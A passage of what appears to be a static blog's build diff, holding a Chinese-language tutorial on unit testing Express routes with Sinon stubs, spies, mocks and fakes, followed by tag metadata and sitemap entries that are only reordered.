可以呼叫資料庫可以進行連線等等後,我才能確認我的程式是否正確嗎?在這種情況下要做 unit test 真的是一件不簡單的事情更別說 test cases 跑到一半有人把你測試環境的 database 亂改動,或是 API Server 的分支改掉這種鳥事了… 這樣的話,究竟要透過什麼樣的方式可以去做到 unit test 呢?其實可以透過 mock 的機制,讓呼叫 API 回傳值回傳一個固定值,而並不需要去真正呼叫 API 這裡所說的 mock 只是 unit test 使用到的一種方式其他還包含 spy 、stub、fake 等等我們通常稱這些為 test double (測試替身)以下會先介紹剛剛提到的 test double 題外話,一開始看到這名詞讓我一直想到 JOJO .. Test Double - 測試替身根據搞笑談軟功裡面其實有提到五種,但我這邊會介紹個人常見和常用到的四種 stub當程式是使用到 HTTP 相關操作的,為了測試相依性降到最低可以透過 stub 去變更發出 HTTP 程式的行為,變成不真的發出 HTTP,且可以自定義回傳的結果還有包含讀檔的行為也是如此,利用 stub 取代真的讀檔的行為,使測試可以更關注在程式邏輯上面而一般使用 stub 都會寫死回傳的資訊,以方便後續測試 使用情景: [假資料回傳]HTTP Request, 讀檔, 讀取資料庫等等,後續程式還沒實作的狀況下可以用來測試程式邏輯 spy此 double 是用在去紀錄 function 的行為驗證上面被 spy 的 function 就像是被安插間諜一樣,會去收集行為function 也會真的被執行,並不會像 stub 一樣被取代掉以 function 裡面 post http 為例,此 post http 是會真的發送請求出去,但會被紀錄如果是用 stub 的話,post http 則是不會發送請求出去 使用情景: [行為驗證]因為程式是真的會執行,所以會專注在驗證程式執行的行為驗證上,例如驗證程式應該只能跑一次等等的行為上 想了解更詳細的可以讀讀 Sinon.js 的文件內容,擷取部分原文如下 A test spy is a function that records arguments, return value, thevalue of this and exception thrown (if any) for all its calls.from Sinon Spy mockMock Object 則是類似於 spy 以及 stub 的集合體本身擁有可以取代物件的方法 (stub),且內建 expect 方法可以驗證執行的行為是否正確 (spy)如果只是單純要讓後續程式邏輯接受固定值的話,用 stub 即可如果只是單純要驗證程式的行為,用 spy 即可但如果是以上兩個混合的狀況下,則是建議使用 Mock 使用情景: [行為驗證,假資料回傳]當需要驗證 HTTP POST 是否有根據所需參數進行執行,但又不想要真的發出 HTTP 的時候可以使用,跟 spy 最大差別在於 spy 是會真的執行程式,但 Mock 是不會真的去執行 想了解更詳細的可以讀讀 Sinon.js 的文件內容,擷取部分原文如下 Mocks (and mock expectations) are fake methods (like spies) with pre-programmed behavior (like stubs) as well as pre-programmed expectations.Mocks should only be used for the method under test. In every unit test, there should be one unit under test.In general you should have no more than one mock (possibly with several expectations) in a single test.from Sinon Mock fake此物件並不像是 spy 或是 stub 會取代程式裡面的行為而是建立一個實際可執行的 function,通常是用在建立 XHR or Server or Database 上面,但會是以更簡化的方式去實現例如原本可能是一個寄信的程式,但因為寄信驗證這件事情本身不好處理這邊可以做出一個 fake Object 是把寄信的訊息內容,改成寫檔,已達成寄信行為的驗證 使用情境:[簡化程式]簡化寄信,或是簡化 DB 連線改用 In-memory 的方式等等,目的就是要簡化 prodcution code 的複雜度 想了解更詳細的可以讀讀 Sinon.js 的文件內容,擷取部分原文如下 the sinon.fake API knows only how to create fakes, and doesn’t concern itself with plugging them into the system under test.To plug the fakes into the system under test, you can use the sinon.replace* methods.from Sinon Fake 小結結語要特別注意一件事情每一個測試框架針對這些 test double 可能會有一些些微的差距最好是針對測試框架裡面的文件進行閱讀去了解使用時機跟方式會比較恰當接下來就開始介紹關於 Sinon 這個測試框架的程式實作部分以及該如何搭配 express 進行 unit test 實作接下來會透過 express 搭配 sinon 進行 unit test 的說明首先我們會需要一個簡單的 express server此 server 功能有呼叫登入 API 以及寫檔兩種功能 為了方便進行 unit test 程式架構上,會進行拆分以模擬真實開發狀況登入的主要邏輯很單純1234567891011121314151617181920212223242526272829303132// server.js - listen 在 7070const authController = require(\"./authController\")app.post(\"/login\", authController.run);// authController.jsconst run = async (req, res) => { const { username } = {...req.body}; const result = await apiService.login(username) if (result.status !== 0) { return res.json({ message: \"登入失敗\" }) } return res.json({ message: \"登入成功\" })}// apiService.jsconst login = (username) => { return axios.post(\"http://localhost:7070/api\", { username, }).then((res) => res.data);}// 給 /login 用的, 不在測試範圍內app.post(\"/api\", (req, res) => { res.json({status: req.body.username === \"123\" ? 0 : 1})}) 在這種情況下要進行 unit test 必須要確保呼叫 apiService.login 是不會有任何問題的那如果要移除這層依賴,透過 test double 該如何對 authController.run 進行測試呢? Express with Sinon StubSinon Stub 介紹先介紹一下 Sinon Stub 如何使用,先看 code 1234const sinon = require(\"sinon\");const test = sinon.stub().returns(5);console.log(test());// 5 透過 stub 這個 function 接到的回傳值會是一個 function而這個 function 可以自定義呼叫的時候會有什麼樣的行為上面的範例中,我們讓他呼叫後得到的回傳是 5 那如果要得到類似 {status: 0} 這種結果呢? 方法如下123const test = sinon.stub().returns({status: 0});console.log(test());// {status: 0} 那如果說是要取代原本 function 的功能呢?1234567891011const sinon = require(\"sinon\");const obj = { test: function() { return \"this is test.\" }}console.log(obj.test());// \"this is test.\"sinon.stub(obj, \"test\").resolves({status: 0});console.log(obj.test());// Promise { { status: 0 } } 透過以上方法,obj 裡面的 test function 就被取代掉然後讓這個 function 回傳一個 promise.resolve 的結果 但如果說我的 function 要接收一個參數,然後指定回傳呢?12345678910111213const sinon = require(\"sinon\");const obj = { test: function(a) { return \"this is test: \" + a }}console.log(obj.test(\"test\"));// this is test: testsinon.stub(obj, \"test\").withArgs(\"123\").returns({status: 0});console.log(obj.test(\"123\"));// { status: 0 }console.log(obj.test());// undefined 透過 withArgs 可以設定,當這個 function 接收到什麼樣的參數的時候應該要回傳什麼樣的結果以上面的範例來說,只要這個 test function 的參數是 "123" 的話那他的回傳值就會是 { status: 0 }綜合以上的方法,就可以開始實作 unit test 了 如何在 express 上使用 stub回到正題因為是 express 的關係,所以 req 以及 res 的物件必須先透過 stub把 res 的行為先透過自訂義的方式給取代 這邊 req 不用的原因是,我們只取 req.body 的值所以可以直接當成 json 取值就好但 res 不能的原因是, express 再回傳的時候會需要多 call res.json() 來把值回傳回去 12345678910const mockRequest = (data) => { return { body: data }}const mockResponse = () => { const res = {}; res.json = sinon.stub().returns(res); return res;} 接下來正式的測試程式來了12345678910111213141516describe(\"[登入功能]\", () => { it(\"登入成功\", async () => { const req = mockRequest({ username: \"123\", }) const res = mockResponse(); sinon.stub(apiService, \"login\").withArgs(\"123\").resolves({ status: 0 }) await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入成功\", }); sinon.assert.calledOnce(res.json); })}) 透過使用 sinon.stub(apiService, "login")可以把 apiService 裡面的 login function 實際行為給取消掉我們在後面定義了回傳一個 Promise.resolve 來指定被我們更改掉後應該回傳的資料也就是 sinon.stub(apiService, "login").resolves(data) 裡面的 data這樣我們就可以讓 authController.run 裡面的 apiService.login不會真正去發送 POST Request,而是會回傳我們的結果執行 mocha 後的結果如下 接下來我們再增加一個 test case,程式碼如下12345678910111213141516171819202122232425262728293031323334const apiServiceLogin = sinon.stub(apiService, \"login\")describe(\"[登入功能]\", () => { beforeEach(() => { apiServiceLogin.reset() }) it(\"登入成功\", async () => { const req = mockRequest({ username: \"123\", }) const res = mockResponse(); apiServiceLogin.withArgs(\"123\").resolves({ status: 0 }) await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入成功\", }); sinon.assert.calledOnce(res.json); }) it(\"登入錯誤\", async () => { const req = mockRequest({ username: \"123\", }) const res = mockResponse(); apiServiceLogin.withArgs(\"123\").resolves({ status: 999 }) await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入失敗\", }); sinon.assert.calledOnce(res.json); })}) 這邊要注意,已經被取代掉的 function,行為已經被我們第一個 test case 給固定了為了要還原預設行為,必須在 beforeEach 加上 reset() 的方法去重置每一個 test case apiService.login 回傳的行為,結果如下 Express with Sinon SpySinon Spy12345const sinon = require(\"sinon\");const spy = sinon.spy();spy()console.log(spy.callCount);// 1 基本上所有測試替身呼叫後,都是會回傳一個可執行 function 回來根據前面介紹過,spy 是單純拿來做紀錄以及驗證上面的範例來說,就可以知道這個 function 被呼叫一次另外在 spy 的狀況下,function 實際行為是會被觸發,我們再來看另一段 code12345678910111213const sinon = require(\"sinon\");const obj = { test: function(a) { return \"this is test: \" + a }}const spy = sinon.spy(obj, \"test\");console.log(spy(\"hihi\"));// this is test: hihiconsole.log(obj.test(\"hihi2\"));// this is test: hihi2console.log(spy.callCount);// 2以上面的例子可以看到,程式實際上的邏輯是有被觸發成功的透過 spy 回傳的值,也是一個可執行的 function透過 spy() 或是 obj.test() 去觸發,都會被記錄起來 如何在 express 上使用 spy程式碼會增加一段對 username 進行 hash 再去做 login123456789101112131415161718192021// authControler.jsconst run = async (req, res) => { const { username } = {...req.body}; const result = await apiService.login(hash.sha256(username)) if (result.status !== 0) { return res.json({ message: \"登入失敗\" }) } return res.json({ message: \"登入成功\" })}// hash.jsconst sha256 = (username) => { const t = ctypto.createHash(\"sha256\"); return t.update(username, \"utf8\").digest(\"base64\");} 先來跑跑看 unit test 會發現結果是錯的原因是因為原本設定好 login 的時候,參數應該會是帶 "123"但因為變成 hash 之後會改成 "pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM="把 unit test 裡面的 withArgs 改成 apiServiceLogin.withArgs("pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM=") 即可 此時我們想要針對 hash.sha256 進行次數監控1234567891011121314151617181920212223242526272829303132333435const hashSha256 = sinon.spy(hash, \"sha256\");beforeEach(() => { apiServiceLogin.reset() hashSha256.resetHistory() }) it(\"登入成功, hash 一次\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceLogin.withArgs(\"pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM=\").resolves({ status: 0 }) await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入成功\", }); sinon.assert.calledOnce(res.json); sinon.assert.calledOnce(hashSha256) }) it(\"登入錯誤, hash 一次\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceLogin.withArgs(\"pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM=\").resolves({ status: 999 }) await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入失敗\", }); sinon.assert.calledOnce(res.json); sinon.assert.calledOnce(hashSha256) }) 先在最前面加上 const hashSha256 = sinon.spy(hash, "sha256"); 取完成 spy 的動作然後在最後面加上了驗證 sinon.assert.calledOnce(hashSha256) 就可以完成驗證動作除此之外,要先在 beforeEach 加上 hashSha256.resetHistory() 去重置計算次數 Express with Sinon MockSinon Mock不同於 stub 以及 spy透過 mock 回傳的東西並不是一個可執行的 function而是要透過此 mock 去進行設定,類似『驗證』用的東西以及可以像是 stub 一樣,指定在 function 被呼叫的時候,應該會有什麼樣的回傳值但又不同於 stub 以及 spy,mock 並不能直接去針對某一個做 mock而是只能會對整個 obj 做 mock12345678910111213141516const sinon = require(\"sinon\");const obj = { test: function(a) { return \"this is test: \" + a }};const mock = sinon.mock(obj);// 驗證只能最多被呼叫 2 次mock.expects(\"test\").atLeast(2).returns({status: 1})console.log(obj.test());// { status: 1 }console.log(obj.test());// { status: 1 }mock.verify() 透過 mock.expects("test").atLeast(2).returns({status: 1}) 去設定預期哪一個 method 應該回傳什麼樣的值以及設定可被執行的次數最後再透過 mock.verify() 可以啟用這個 assertion除此之外,如果想要回復這個被 mock 原始的 method 的話可以透過 mock.restore() 去做回覆的動作這樣回覆之後,就會執行原本 function 的邏輯了 如何在 express 上使用 mock基本上程式碼跟上一個很像,但不一樣的地方在於我想要針對 apiService.js 去進行驗證,以及模擬回傳值12345678910111213141516171819202122232425262728293031const apiServiceLogin = sinon.mock(apiService);it(\"登入成功, hash 一次\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceLogin.expects(\"login\").withArgs(\"pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM=\").resolves({ status: 0 }).once(); await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入成功\", }); sinon.assert.calledOnce(res.json); sinon.assert.calledOnce(hashSha256) }) it(\"登入錯誤, hash 一次\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceLogin.expects(\"login\").withArgs(\"pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM=\").resolves({ status: -1 }).once(); await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入失敗\", }); sinon.assert.calledOnce(res.json); sinon.assert.calledOnce(hashSha256) }) 差別在於以下程式,透過 mock,可以去指定回傳值,以及可以兼顧驗證用的功能123apiServiceLogin.expects(\"login\").withArgs(\"pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM=\").resolves({ status: -1}).once(); Express with Sinon FakeSinon Fake在 Sinon 官網上對於 Fake 的說明是一種把 spy 跟 stub 混合的一種形式所以這邊後面並不會介紹如何在 express 上面實作而是會針對這個 fake 功能做些簡單的範例而已 1234const sinon = require(\"sinon\");const fake = sinon.fake.returns({status: 1});console.log(fake());{ status: 1 } 跟 stub 一樣可以指定該 function 應該回傳的值但他也有可以取代原本 method 的功能,程式如下 123456789101112const sinon = require(\"sinon\");const obj = { test: () => { return \"test\"; }}const fake = sinon.fake.returns({status: 1});console.log(obj.test());// testsinon.replace(obj, \"test\", fake)console.log(obj.test());// { status: 1 } 透過 sinon.replace,可以取代掉原本 function 的實際邏輯 結語以上介紹完每一個 test double 的意思以及使用場景但使用場景上,我也還在思考什麼樣的場景可以搭配什麼去使用歡迎各位一起在下面留言進行討論未來會再針對實務上 unit test 遇到的困難再回來整理一篇 References https://www.sitepoint.com/sinon-tutorial-javascript-testing-mocks-spies-stubs/ https://dev.to/milipski/test-doubles---fakes-mocks-and-stubs https://codewithhugo.com/express-request-response-mocking/ https://tpu.thinkpower.com.tw/tpu/articleDetails/1294 http://kaczanowscy.pl/tomek/2011-01/testing-basics-sut-and-docs","link":"/2019/12/10/unit-test-express/"}],"tags":[{"name":"nodejs","slug":"nodejs","link":"/tags/nodejs/"},{"name":"session","slug":"session","link":"/tags/session/"},{"name":"cookie","slug":"cookie","link":"/tags/cookie/"},{"name":"cors","slug":"cors","link":"/tags/cors/"},{"name":"credential","slug":"credential","link":"/tags/credential/"},{"name":"aws","slug":"aws","link":"/tags/aws/"},{"name":"certificate","slug":"certificate","link":"/tags/certificate/"},{"name":"acm","slug":"acm","link":"/tags/acm/"},{"name":"JavaScript","slug":"JavaScript","link":"/tags/JavaScript/"},{"name":"promise","slug":"promise","link":"/tags/promise/"},{"name":"async","slug":"async","link":"/tags/async/"},{"name":"await","slug":"await","link":"/tags/await/"},{"name":"w3HexSchool","slug":"w3HexSchool","link":"/tags/w3HexSchool/"},{"name":"CloudWatch","slug":"CloudWatch","link":"/tags/CloudWatch/"},{"name":"apple pay","slug":"apple-pay","link":"/tags/apple-pay/"},{"name":"debug","slug":"debug","link":"/tags/debug/"},{"name":"iOS","slug":"iOS","link":"/tags/iOS/"},{"name":"safari","slug":"safari","link":"/tags/safari/"},{"name":"CloudFront","slug":"CloudFront","link":"/tags/CloudFront/"},{"name":"query string","slug":"query-string","link":"/tags/query-string/"},{"name":"header","slug":"header","link":"/tags/header/"},{"name":"jenkins","slug":"jenkins","link":"/tags/jenkins/"},{"name":"DevOps","slug":"DevOps","link":"/tags/DevOps/"},{"name":"CI/CD","slug":"CI-CD","link":"/tags/CI-CD/"},{"name":"dns","slug":"dns","link":"/tags/dns/"},{"name":"ec2","slug":"ec2","link":"/tags/ec2/"},{"name":"disk","slug":"disk","link":"/tags/disk/"},{"name":"Sonarqube","slug":"Sonarqube","link":"/tags/Sonarqube/"},{"name":"network","slug":"network","link":"/tags/network/"},{"name":"docker","slug":"docker","link":"/tags/docker/"},{"name":"ipv6","slug":"ipv6","link":"/tags/ipv6/"},{"name":"express","slug":"express","link":"/tags/express/"},{"name":"x-forwarded-for","slug":"x-forwarded-for","link":"/tags/x-forwarded-for/"},{"name":"ip","slug":"ip","link":"/tags/ip/"},{"name":"nginx","slug":"nginx","link":"/tags/nginx/"},{"name":"architecture","slug":"architecture","link":"/tags/architecture/"},{"name":"golang","slug":"golang","link":"/tags/golang/"},{"name":"concurrency","slug":"concurrency","link":"/tags/concurrency/"},{"name":"package","slug":"package","link":"/tags/package/"},{"name":"google hacking","slug":"google-hacking","link":"/tags/google-hacking/"},{"name":"search","slug":"search","link":"/tags/search/"},{"name":"CTF","slug":"CTF","link":"/tags/CTF/"},{"name":"security","slug":"security","link":"/tags/security/"},{"name":"slack","slug":"slack","link":"/tags/slack/"},{"name":"bot","slug":"bot","link":"/tags/bot/"},{"name":"chat bot","slug":"chat-bot","link":"/tags/chat-bot/"},{"name":"API Gateway","slug":"API-Gateway","link":"/tags/API-Gateway/"},{"name":"lambda","slug":"lambda","link":"/tags/lambda/"},{"name":"upload file","slug":"upload-file","link":"/tags/upload-file/"},{"name":"download file","slug":"download-file","link":"/tags/download-file/"},{"name":"helm","slug":"helm","link":"/tags/helm/"},{"name":"k8s","slug":"k8s","link":"/tags/k8s/"},{"name":"Test","slug":"Test","link":"/tags/Test/"},{"name":"Development","slug":"Development","link":"/tags/Development/"},{"name":"mocha","slug":"mocha","link":"/tags/mocha/"},{"name":"Java","slug":"Java","link":"/tags/Java/"},{"name":"Executor","slug":"Executor","link":"/tags/Executor/"},{"name":"Thread Pool","slug":"Thread-Pool","link":"/tags/Thread-Pool/"},{"name":"TheadPoolExecutor","slug":"TheadPoolExecutor","link":"/tags/TheadPoolExecutor/"},{"name":"java","slug":"java","link":"/tags/java/"},{"name":"this","slug":"this","link":"/tags/this/"},{"name":"ecma6","slug":"ecma6","link":"/tags/ecma6/"},{"name":"interview","slug":"interview","link":"/tags/interview/"},{"name":"experience","slug":"experience","link":"/tags/experience/"},{"name":"event loop","slug":"event-loop","link":"/tags/event-loop/"},{"name":"browser","slug":"browser","link":"/tags/browser/"},{"name":"ruby","slug":"ruby","link":"/tags/ruby/"},{"name":"ngrok","slug":"ngrok","link":"/tags/ngrok/"},{"name":"localhost","slug":"localhost","link":"/tags/localhost/"},{"name":"讀書心得","slug":"讀書心得","link":"/tags/%E8%AE%80%E6%9B%B8%E5%BF%83%E5%BE%97/"},{"name":"node.js","slug":"node-js","link":"/tags/node-js/"},{"name":"callback","slug":"callback","link":"/tags/callback/"},{"name":"Security","slug":"Security","link":"/tags/Security/"},{"name":"SSO","slug":"SSO","link":"/tags/SSO/"},{"name":"OAuth","slug":"OAuth","link":"/tags/OAuth/"},{"name":"pulumi","slug":"pulumi","link":"/tags/pulumi/"},{"name":"vue","slug":"vue","link":"/tags/vue/"},{"name":"pug","slug":"pug","link":"/tags/pug/"},{"name":"rails","slug":"rails","link":"/tags/rails/"},{"name":"security header","slug":"security-header","link":"/tags/security-header/"},{"name":"HTTPS","slug":"HTTPS","link":"/tags/HTTPS/"},{"name":"ssh","slug":"ssh","link":"/tags/ssh/"},{"name":"ssh tunnel","slug":"ssh-tunnel","link":"/tags/ssh-tunnel/"},{"name":"Puma","slug":"Puma","link":"/tags/Puma/"},{"name":"GIL","slug":"GIL","link":"/tags/GIL/"},{"name":"SSL","slug":"SSL","link":"/tags/SSL/"},{"name":"mount","slug":"mount","link":"/tags/mount/"},{"name":"Stack Overflow","slug":"Stack-Overflow","link":"/tags/Stack-Overflow/"},{"name":"TapPay","slug":"TapPay","link":"/tags/TapPay/"},{"name":"Payment Gateway","slug":"Payment-Gateway","link":"/tags/Payment-Gateway/"},{"name":"npm","slug":"npm","link":"/tags/npm/"},{"name":"types","slug":"types","link":"/tags/types/"},{"name":"thread","slug":"thread","link":"/tags/thread/"},{"name":"thread model","slug":"thread-model","link":"/tags/thread-model/"},{"name":"process","slug":"process","link":"/tags/process/"},{"name":"operating system","slug":"operating-system","link":"/tags/operating-system/"},{"name":"vuex","slug":"vuex","link":"/tags/vuex/"},{"name":"vue-router","slug":"vue-router","link":"/tags/vue-router/"},{"name":"todo-list","slug":"todo-list","link":"/tags/todo-list/"},{"name":"test","slug":"test","link":"/tags/test/"},{"name":"unit test","slug":"unit-test","link":"/tags/unit-test/"},{"name":"refactor","slug":"refactor","link":"/tags/refactor/"},{"name":"test double","slug":"test-double","link":"/tags/test-double/"},{"name":"sinon","slug":"sinon","link":"/tags/sinon/"},{"name":"design patterns","slug":"design-patterns","link":"/tags/design-patterns/"},{"name":"OOA","slug":"OOA","link":"/tags/OOA/"},{"name":"OOD","slug":"OOD","link":"/tags/OOD/"},{"name":"OOP","slug":"OOP","link":"/tags/OOP/"}],"categories":[{"name":"NodeJs","slug":"NodeJs","link":"/categories/NodeJs/"},{"name":"AWS","slug":"AWS","link":"/categories/AWS/"},{"name":"JavaScript","slug":"JavaScript","link":"/categories/JavaScript/"},{"name":"debug","slug":"debug","link":"/categories/debug/"},{"name":"DevOps","slug":"DevOps","link":"/categories/DevOps/"},{"name":"Security","slug":"Security","link":"/categories/Security/"},{"name":"Golang","slug":"Golang","link":"/categories/Golang/"},{"name":"Google","slug":"Google","link":"/categories/Google/"},{"name":"Bot","slug":"Bot","link":"/categories/Bot/"},{"name":"Test","slug":"Test","link":"/categories/Test/"},{"name":"Java","slug":"Java","link":"/categories/Java/"},{"name":"Experience","slug":"Experience","link":"/categories/Experience/"},{"name":"Ruby","slug":"Ruby","link":"/categories/Ruby/"},{"name":"tool","slug":"tool","link":"/categories/tool/"},{"name":"讀書心得","slug":"讀書心得","link":"/categories/%E8%AE%80%E6%9B%B8%E5%BF%83%E5%BE%97/"},{"name":"Vue","slug":"Vue","link":"/categories/Vue/"},{"name":"Development","slug":"Development","link":"/categories/Development/"},{"name":"Payment Gateway","slug":"Payment-Gateway","link":"/categories/Payment-Gateway/"},{"name":"Operating System","slug":"Operating-System","link":"/categories/Operating-System/"},{"name":"Modeling","slug":"Modeling","link":"/categories/Modeling/"}]}
\ No newline at end of file
diff --git a/post-sitemap.xml b/post-sitemap.xml
index 46924d851..e0c7d914c 100644
--- a/post-sitemap.xml
+++ b/post-sitemap.xml
@@ -375,7 +375,7 @@
- https://yu-jack.github.io/2020/02/24/java-oom/
+ https://yu-jack.github.io/2020/02/10/javascript-accumulator/
2020-11-29T06:04:24.384Z
weekly
0.6
@@ -383,7 +383,7 @@
- https://yu-jack.github.io/2020/02/10/javascript-accumulator/
+ https://yu-jack.github.io/2020/02/24/java-oom/
2020-11-29T06:04:24.384Z
weekly
0.6
@@ -471,7 +471,7 @@
- https://yu-jack.github.io/2017/10/14/Slack-Bot/
+ https://yu-jack.github.io/2020/01/06/aws-certificate-manager/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -479,7 +479,7 @@
- https://yu-jack.github.io/2017/10/24/api-gateway-mapping-template/
+ https://yu-jack.github.io/2019/11/28/aws-cloudwatch-logs-insights/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -487,7 +487,7 @@
- https://yu-jack.github.io/2020/01/06/aws-certificate-manager/
+ https://yu-jack.github.io/2018/09/05/cloudfont-setting/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -495,7 +495,7 @@
- https://yu-jack.github.io/2019/11/28/aws-cloudwatch-logs-insights/
+ https://yu-jack.github.io/2020/01/06/aws-increase-disk-space-in-ec2/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -503,7 +503,7 @@
- https://yu-jack.github.io/2020/01/06/aws-increase-disk-space-in-ec2/
+ https://yu-jack.github.io/2017/12/11/express-static/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -511,7 +511,7 @@
- https://yu-jack.github.io/2018/09/05/cloudfont-setting/
+ https://yu-jack.github.io/2017/10/17/google-hacking/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -519,7 +519,7 @@
- https://yu-jack.github.io/2017/12/11/express-static/
+ https://yu-jack.github.io/2019/09/04/hacker101-part1/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -527,7 +527,7 @@
- https://yu-jack.github.io/2017/10/17/google-hacking/
+ https://yu-jack.github.io/2019/09/06/hacker101-part2/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -535,7 +535,7 @@
- https://yu-jack.github.io/2019/09/06/hacker101-part2/
+ https://yu-jack.github.io/2019/09/08/hacker101-part3/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -543,7 +543,7 @@
- https://yu-jack.github.io/2019/09/10/hacker101-part4/
+ https://yu-jack.github.io/2017/10/14/Slack-Bot/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -551,7 +551,7 @@
- https://yu-jack.github.io/2019/09/14/hacker101-part5/
+ https://yu-jack.github.io/2019/09/10/hacker101-part4/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -559,7 +559,7 @@
- https://yu-jack.github.io/2019/09/04/hacker101-part1/
+ https://yu-jack.github.io/2019/09/14/hacker101-part5/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -567,7 +567,7 @@
- https://yu-jack.github.io/2019/09/08/hacker101-part3/
+ https://yu-jack.github.io/2017/11/04/handle-file-with-Lambda-and-API-Gateway/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -575,7 +575,7 @@
- https://yu-jack.github.io/2017/11/04/handle-file-with-Lambda-and-API-Gateway/
+ https://yu-jack.github.io/2017/11/15/handle-upload-download-file-with-Lambda-and-API-Gateway-2/
2020-01-29T08:25:29.000Z
weekly
0.6
@@ -583,7 +583,7 @@
- https://yu-jack.github.io/2017/11/15/handle-upload-download-file-with-Lambda-and-API-Gateway-2/
+ https://yu-jack.github.io/2017/10/24/api-gateway-mapping-template/
2020-01-29T08:25:29.000Z
weekly
0.6
diff --git a/tag-sitemap.xml b/tag-sitemap.xml
index 87fbe744a..adee9e076 100644
--- a/tag-sitemap.xml
+++ b/tag-sitemap.xml
@@ -2,91 +2,91 @@
- https://yu-jack.github.io/tags/slack/
+ https://yu-jack.github.io/tags/certificate/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/tags/bot/
+ https://yu-jack.github.io/tags/acm/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/tags/chat-bot/
+ https://yu-jack.github.io/tags/CloudWatch/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/tags/API-Gateway/
+ https://yu-jack.github.io/tags/CloudFront/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/tags/certificate/
+ https://yu-jack.github.io/tags/query-string/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/tags/acm/
+ https://yu-jack.github.io/tags/header/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/tags/CloudWatch/
+ https://yu-jack.github.io/tags/disk/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/tags/disk/
+ https://yu-jack.github.io/tags/google-hacking/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/tags/CloudFront/
+ https://yu-jack.github.io/tags/search/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/tags/query-string/
+ https://yu-jack.github.io/tags/slack/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/tags/header/
+ https://yu-jack.github.io/tags/bot/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/tags/google-hacking/
+ https://yu-jack.github.io/tags/chat-bot/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/tags/search/
+ https://yu-jack.github.io/tags/API-Gateway/
2020-01-29T08:25:29.000Z
weekly
0.2
@@ -408,49 +408,49 @@
- https://yu-jack.github.io/tags/apple-pay/
+ https://yu-jack.github.io/tags/promise/
2022-04-23T05:39:50.922Z
weekly
0.2
- https://yu-jack.github.io/tags/debug/
+ https://yu-jack.github.io/tags/async/
2022-04-23T05:39:50.922Z
weekly
0.2
- https://yu-jack.github.io/tags/iOS/
+ https://yu-jack.github.io/tags/await/
2022-04-23T05:39:50.922Z
weekly
0.2
- https://yu-jack.github.io/tags/safari/
+ https://yu-jack.github.io/tags/apple-pay/
2022-04-23T05:39:50.922Z
weekly
0.2
- https://yu-jack.github.io/tags/promise/
+ https://yu-jack.github.io/tags/debug/
2022-04-23T05:39:50.922Z
weekly
0.2
- https://yu-jack.github.io/tags/async/
+ https://yu-jack.github.io/tags/iOS/
2022-04-23T05:39:50.922Z
weekly
0.2
- https://yu-jack.github.io/tags/await/
+ https://yu-jack.github.io/tags/safari/
2022-04-23T05:39:50.922Z
weekly
0.2
diff --git a/tags/index.html b/tags/index.html
index 12e6aa1aa..17e30c5a3 100644
--- a/tags/index.html
+++ b/tags/index.html
@@ -31,88 +31,88 @@
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
-
-
+
-
-
+
-
-
+
+
+
+
-
-
-
-
-
+
+
+
+
+
+
-
-
-
+
+
-
+
+
-
-
+
@@ -128,8 +128,8 @@
-
+